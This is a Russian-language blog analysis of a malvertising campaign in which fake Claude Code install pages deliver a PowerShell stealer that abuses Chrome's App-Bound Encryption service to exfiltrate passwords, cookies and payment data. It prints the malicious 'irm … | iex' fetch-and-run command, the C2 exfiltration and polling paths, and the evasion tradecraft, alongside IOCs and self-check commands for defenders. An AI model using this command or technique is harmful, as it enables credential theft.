> · 8 мин

Установил Claude Code из первой ссылки в Google и потерял все пароли из Chrome — разбор атаки InstallFix

Установил Claude Code из первой ссылки в Google и потерял все пароли из Chrome — разбор атаки InstallFix

В апреле гугли «install claude code» — первая строка sponsored, домен похож, страница как из документации. Копируешь команду. Через секунду PowerShell тянет файл с events.msft23.com. Через минуту твои cookies, сохранённые пароли и payment methods из Chrome улетают на сервер в Cloudflare.

Это не теория. Это активная кампания, которую 11 мая разобрали Ontinue Cyber Defense Center, а до них — Trend Micro, Graphika и Push Security. Малварь не похожа ни на один из 18 известных stealer-семейств: Lumma, StealC, Vidar, Glove, EddieStealer, и так далее.

TL;DR: Жулики купили Google Ads на запросы про установку Claude Code. Лжестраница отдаёт PowerShell-команду, которая через свежий COM-интерфейс IElevator2 в Chrome 144 достаёт App-Bound Encryption ключ и расшифровывает cookies, пароли и payment methods из Chrome, Edge, Brave, Opera и ещё 5 браузеров. Жертва ничего не замечает. CIS и Иран в списке исключений — заразит, только если у тебя западный регион в Windows.

Стадия 1: ты вводишь в гугл «install claude code»

В выдаче сверху — sponsored результат. Домен claude-code-macos[.]com или claudesktop.gitlab[.]io. Страница 1:1 как у Anthropic: лого, sidebar, OS-табы, копи-кнопка. Trend Micro даже зафиксировали, что покупаемая sponsored ссылка маскируется под Google Ads URL — параметры gar_source и gad_campaign выглядят как трекинг-поля рекламы.

Канонический установщик Claude Code:

irm https://claude.ai/install.ps1 | iex

Что показывает лжестраница:

irm https://events.msft23.com | iex

Разница в одно слово. Глаз её не цепляет, особенно когда у тебя 11 открытых вкладок и через 5 минут стендап.

Стадия 2: трюк, на котором ломаются автоматические сканеры

Самое подлое: файл /install.ps1 на сервере жуликов отдаёт легитимный код. Тот же самый, что у Anthropic.

Если ты или твой EDR/URL-reputation сервис просто curl-нет этот URL — увидите чистый скрипт. Cloudflare-фронтинг, валидный Let's Encrypt сертификат — всё легально.

Зловредная команда рендерится в HTML самой страницы. Жертва копирует то, что видит глаз, а не то, что лежит в файле. Это deliberate tradecraft, как пишут Ontinue.

Сервер events.msft23.com отвечает живым PowerShell-контентом только на запросы с правильным User-Agent от Invoke-RestMethod. Голому браузеру или crawler-у — HTTP 404. urlscan зафиксировал три скана, все получили 404.

Apex домен msft23.com зарегистрирован 7 апреля 2026, сертификат от Let's Encrypt получен 13 апреля. Все три домена кампании зарегистрированы в шестидневном окне в апреле — операторы готовились методично.

Стадия 3: что происходит с твоим Chrome

PowerShell-загрузчик с mt7263.com/gate/start/ делает следующее:

Проверяет регион. Windows region settings матчатся со списком исключений: страны СНГ и Иран. Если ты в РФ, Беларуси, Казахстане — скрипт выходит и не делает ничего. Если в США/Европе/Азии — продолжает.

Снимает идентификатор. SID пользователя + MachineGuid из реестра. Это per-victim ID для всей дальнейшей связи с C2.

Сканит браузеры. Жёсткий список Chromium-семейства: Chrome, Edge, Brave, Vivaldi, Perplexity Comet, Helium, Arc, Opera, Opera GX. Парсит Local State JSON каждого, ищет ключи v20 app_bound_encrypted_key и v10 encrypted_key.

Запускает native helper — 4.6 КБ. Это и есть главный трюк всей атаки.

Главный фокус: 4.6 КБ кода, которые обходят весь EDR

Native helper загружается рефлексивно в живой процесс браузера. Что он делает? Ровно одну вещь: вызывает COM-интерфейс IElevator2 и возвращает ключ.

Никакой сети. Никаких файлов. Никакого SQLite. Никакой криптографии. Ни одного импорта, который бы триггерил behavioral rule. Два стандартных API-chain rule set от Ontinue матчей не дали.

App-Bound Encryption — это та самая защита, которую Google добавил в Chrome 127 в июле 2024, чтобы убить commodity-стилеры. ABE оборачивает ключ шифрования cookies через Elevation Service, отдельный Windows-сервис, который проверяет путь вызывающего процесса перед выдачей ключа.

Параллель — Glove Stealer ноября 2024 уже показал, что Elevation Service можно дёрнуть через IElevator, если ты выполняешься в контексте пользователя. В январе 2026 Chrome 144 добавил новый интерфейс IElevator2 (ожидание Mojo-миграции). Через 60 дней появилась эта малварь, которая знает про IElevator2. Активная разработка.

В сэмпле есть забавный артефакт: для Edge закодирован IElevator2 IID с ошибкой транскрипции — два nibble в Data3 перепутаны (4740 вместо 4047). Из-за этого вызов на Edge всегда падает с E_NOINTERFACE, но скрипт сразу делает fallback на legacy IElevator и всё равно достаёт ключ. Этот баг превращается в детект-сигнатуру: ни один легитимный компонент Microsoft не регистрирует такой IID.

После получения 32-байтного ключа PowerShell расшифровывает SQLite-базы браузеров, упаковывает всё в secure_prefs.zip (целиком в памяти, без записи на диск), и шлёт HTTP PUT на mt7263.com/gate/init/c09d19a0/<SID>.

Уезжает:

  • все сохранённые пароли
  • все cookies (включая активные сессии GitHub, Gmail, AWS console, Vercel и так далее)
  • payment methods
  • произвольные артефакты профиля

Persistence — раз в минуту

Финал: scheduled task с PT1M интервалом запускает conhost --headless powershell, который опрашивает mt7263.com/gate/auto/c09d19a0/<SID>. Сервер возвращает текст с заголовками x-filename и x-task — следующая команда на исполнение. urlscan поймал один такой polling-ответ размером ~346 КБ. Канал активно используется для тасков, не просто бьякон.

Самое смешное: response не аутентифицирован, имя файла из x-filename пишется в %ProgramData% без санитайза. Если кто-то перехватит C2 — там тривиальный path traversal. Жулики писали быстро и проверяли только happy path.

Подводные камни (которые делают эту атаку особо опасной)

Команда, которую ты видишь, не та, которую копируешь. Стандартный совет «прочитай команду перед запуском» работал, пока malicious payload жил в файле. Здесь зло — в HTML страницы. curl https://events.msft23.com/install.ps1 отдаст чистый скрипт. Запускаешь то, что в iex — получаешь рабочий стилер.

Cloudflare-фронт + Let's Encrypt = ноль reputation-сигналов. Все три домена зарегистрированы за 6 дней до запуска кампании. URL-reputation сервисы и DNS-фильтры не успевают их пометить. SSL-цепочка валидна. По всем формальным признакам сайт чист.

EDR-правила на native PE ничего не видят. Helper в 4.6 КБ делает один COM-вызов. У него нет network imports, нет cryptographic imports, нет SQLite. Все следы — в PowerShell-обёртке, но многие EDR смотрят PowerShell отдельно от DLL и теряют связь.

Если ты в РФ или СНГ — ты в безопасности, но только пока. Geo-check сделан по Windows region settings. Сменил регион на US (например, для других целей) — попадаешь в зону поражения. Не полагайся на это исключение.

ABE «защищал» от non-elevated атакующих. Google прямо так и писал в анонсе: ABE поднимает планку, но не защищает от кода, выполняемого в контексте пользователя. Эта атака именно такая — она и не должна обходить песочницу, ей хватает прав твоего юзера.

Альтернативы — как реально не словить

Brew на macOS/Linux. brew install --cask claude-code идёт через подписанный канал Homebrew. Текущий стандарт безопасной установки.

Прямой URL anthropic.com. Зайди вручную на code.claude.com/docs/en/setup — без поисковой выдачи. Sponsored результаты в Google для AI-тулзов сейчас — минное поле.

Verify SSL cert chain до запуска. На Windows: (Invoke-WebRequest https://claude.ai/install.ps1 -SkipCertificateCheck:$false).BaseResponse. Сертификат должен быть выпущен на *.claude.ai или *.anthropic.com, не на random домен.

ad-blocker. uBlock Origin режет sponsored results на корню. Этот совет звучал глупо, пока Google Ads не превратился в основной канал доставки малвари для разрабов в 2026.

Вердикт

Если ты ставил Claude Code в апреле-мае 2026 через первую ссылку в Google и не помнишь точный домен — считай, что ты заражён, пока не доказано обратное. Открой Get-ScheduledTask | Where-Object {$_.Triggers.Repetition.Interval -eq "PT1M"} и смотри на минутные таски с conhost --headless. Меняй все пароли в браузере, ротай GitHub PAT и AWS-ключи. Если ты в РФ — geo-exclusion сработал в твою пользу, но при следующей кампании оператор может убрать СНГ из списка.

Для всех остальных: ставь Claude Code только через brew или прямой URL code.claude.com. Sponsored Google-выдача для AI-тулзов сейчас компрометирована — это не временный инцидент, это режим работы. Push Security трекает кампании InstallFix с начала 2026, Graphika ещё в конце 2025 ловила ту же схему с фейковым ChatGPT Atlas (400 объявлений от одной эстонской фирмы-фронта).

Как проверить себя прямо сейчас

  1. Проверь scheduled tasks: Get-ScheduledTask | Get-ScheduledTaskInfo | Where-Object {$_.LastRunTime -gt (Get-Date).AddDays(-7)} | Format-List TaskName, LastRunTime, NextRunTime — ищи задачи раз в минуту, особенно с conhost.
  2. Проверь history браузера на посещение доменов вида claude-code-*.com, claudesktop.gitlab.io, events.msft23.com, mt7263.com, download-version.1-5-8.com.
  3. Скачай официальный установщик заново через brew install --cask claude-code или прямой URL code.claude.com.
  4. Поменяй пароли в браузере, особенно GitHub, AWS, Vercel — там сидят живые токены.
  5. Включи 2FA на всё, если ещё не. Cookie-кража обходит пароль, но 2FA-токен из Google Authenticator у малвари нет.

Список IOC от Ontinue лежит на GitHub — кидай в свой SIEM/EDR прямо сейчас.

$ ls ./related/

Похожие статьи

claude-sonnet-48-leak-before-conference.md
Через несколько часов Anthropic покажет Sonnet 4.8 на Code with Claude. Из утечки в их же npm-пакете уже известны все цифры
> · 8 мин

Через несколько часов Anthropic покажет Sonnet 4.8 на Code with Claude. Из утечки в их же npm-пакете уже известны все цифры

Сегодня вечером Anthropic покажет Sonnet 4.8 на Code with Claude в Сан-Франциско. Спецификации новой модели, кодовое имя Cardinal и загадочный Jupiter уже известны, потому что 31 марта инженер Anthropic забыл добавить одну строку в .npmignore и слил 512 000 строк своего кода. Разбираем, что услышим через 9 часов.

ai llm claude anthropic
unity-ai-open-beta.md
Unity AI вышел из подвала — Muse похоронен, в редактор пустили Claude и Gemini, MCP-сервер бесплатно жгёт чужие токены
> · 8 мин

Unity AI вышел из подвала — Muse похоронен, в редактор пустили Claude и Gemini, MCP-сервер бесплатно жгёт чужие токены

4 мая Unity открыл публичную бету Unity AI: три режима, AI Gateway без жажды кредитов и MCP-сервер для Claude Code и Cursor. Muse тихо похоронен, ставка на сторонние модели. Разбираем, что внутри, сколько стоит и почему разработчики уже ругаются на сгенерированный код.

ai gemini claude-code mcp
plasmate-browser-agents-som.md
Plasmate — браузерный движок на Rust, который режет токены AI-агентов на 94%
> · 6 мин

Plasmate — браузерный движок на Rust, который режет токены AI-агентов на 94%

Plasmate компилирует HTML в Semantic Object Model — структурированный JSON для LLM. 4-5 мс на страницу, 94% экономии токенов, подключение к Claude Code за одну строку. Apache-2.0, проект одного человека.

ai open-source claude-code mcp
subscribe.sh

$ cat /dev/blog/updates

> Ещё больше про Claude Code — в Telegram

./subscribe